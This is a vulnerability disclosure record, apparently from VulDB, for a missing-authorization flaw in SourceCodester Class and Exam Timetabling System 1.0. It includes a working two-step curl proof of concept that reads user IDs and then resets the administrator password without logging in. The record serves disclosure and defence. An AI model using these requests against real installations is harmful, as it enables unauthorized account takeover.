| Título | SourceCodester Class and Exam Timetabling System 1.0 CWE-862 Missing Authorization |
|---|
| Descripción | Vendor: SourceCodester
Product: Class and Exam Timetabling System
Affected Version: 1.0
Submitter: justconter
Vulnerability Type:
Improper Access Control / Authentication Bypass / Arbitrary User Account Takeover
CWE: CWE-862 Missing Authorization
Affected Files:
- /admin/session.php
- /admin/user_account.php
- /admin/edit_user_account.php
Summary:
An improper access control vulnerability exists in SourceCodester Class and Exam Timetabling System 1.0. The /admin/session.php file checks whether $_SESSION['id'] exists, but when the session is missing it only emits a client-side JavaScript redirect and does not terminate server-side execution.
Because there is no server-side exit after the failed session check, protected pages that include /admin/session.php continue to execute for unauthenticated requests.
Impact:
An unauthenticated attacker can access /admin/user_account.php to obtain user records and edit links such as edit_user_account.php?id=4. The attacker can then send an unauthenticated POST request to /admin/edit_user_account.php?id=<userid> and modify the selected user's name, department, username, and password.
This allows arbitrary user account takeover. If the target account is an administrator, the attacker can change the administrator password and take over administrator-level access.
PoC:
1. Obtain user IDs without authentication:
curl.exe -s "http://127.0.0.1:8081/admin/user_account.php" |
findstr /N /C:"<td>Admin</td>" /C:"<td>ADMIN</td>" /C:"edit_user_account.php?id=4"
The unauthenticated response discloses the administrator account and edit URL:
username=ADMIN
userid=4
edit_user_account.php?id=4
2. Modify the administrator password without authentication:
curl.exe -i -s -X POST "http://127.0.0.1:8081/admin/edit_user_account.php?id=4" ^
-d "name=ching" ^
-d "department=Admin" ^
-d "username=ADMIN" ^
-d "password=PocPass123!" ^
-d "update=1"
The server returns "Saved", and the administrator password is changed to the attacker-controlled value.
References:
https://github.com/justconter/cve/issues/7
https://github.com/justconter/cve/tree/main/sourcecodester_class_exam_timetabling_system/session_php_access_control_bypass
Software Link:
https://www.sourcecodester.com/download-code?nid=11332&title=Class+and+Exam+Timetabling+System+in+PHP+with+Source+Code |
|---|
| Fuente | ⚠️ https://github.com/justconter/cve/issues/7 |
|---|
| Usuario | justconter (UID 88550) |
|---|
| Sumisión | 2026-07-18 18:53 (hace 2 meses) |
|---|
| Moderación | 2026-09-04 07:34 (2 months later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 398677 [SourceCodester Class and Exam Timetabling System 1.0 /admin/session.php ID escalada de privilegios] |
|---|
| Puntos | 20 |
|---|